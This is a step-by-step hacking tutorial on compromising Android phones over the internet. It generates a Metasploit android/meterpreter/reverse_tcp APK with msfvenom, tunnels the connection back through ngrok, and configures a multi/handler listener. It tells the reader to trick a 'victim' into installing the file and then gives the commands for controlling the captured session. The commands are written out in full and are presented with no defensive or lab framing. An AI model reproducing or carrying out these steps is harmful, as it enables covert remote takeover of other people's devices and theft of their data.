How to Gain Access to an Android Over WAN

Android phones are very easy to break into if the victim can be Social Engineered into doing so. If you use Kali, you may have done this but probably in your own network. This guide shows you how to do so but over HTTP tunneling to a phone anywhere in the world.

Load Up Your Kali Shell

Load up your Kali Linux Shell

Download NGROK TCP Tunneling

It can be found here: https://ngrok.com/download. Download the correct architecture for your device.

(This can be found by running 'uname -m')

Then unzip the file with:

unzip "/path-to-ngrok.zip"

Sign Up

The sign up page can be found here: https://ngrok.com/signup. Then run the command to activate your AuthToken

Start an NGROK TCP Server and POSTGRESQL

We can do this with the following command

sudo service postgresql start

./ngrok tcp 4444

This will start a TCP server on port 4444

Make an MSF Payload

First of all, we need to ping the IP of the NGROK TCP site with the following command

ping 0.tcp.ngrok.io

Next we have to generate a Metasploit APK Payload with the following command

msfvenom -p android/meterpreter/reverse_tcp LHOST= LPORT= R

> (name of file).apk

The ngrok port is displayed here:

Example:

msfvenom -p android/meterpreter/reverse_tcp LHOST=52.15.183.149 LPORT= 8198 R > nullbyte.apk

Start a Listener

Once the Payload is generated we can start a listener. There should be an apk file ready for you to send now.

We can start a listener with this command:

msfconsole

Configure the Listener

To start the payload listener, we must now enter these commands:

msf > use exploit/multi/handler

set payload android/meterpreter/reverse_tcp

set lhost 0.0.0.0

set lport 4444

exploit

Congrats! You have successfully created a payload listener!

Send the Payload

Now we must send the payload to the target, I have transferred the file to my android for these purpose

We need to wait for the victim to install the file.

Previous SlideNext Slide

ATTACK!

Now we have access to the android device. Type:

sessions

sessions 1

We can now do many different attacks on the android phone, type

help

to see a variety of attacks to perform

Happy Hacking!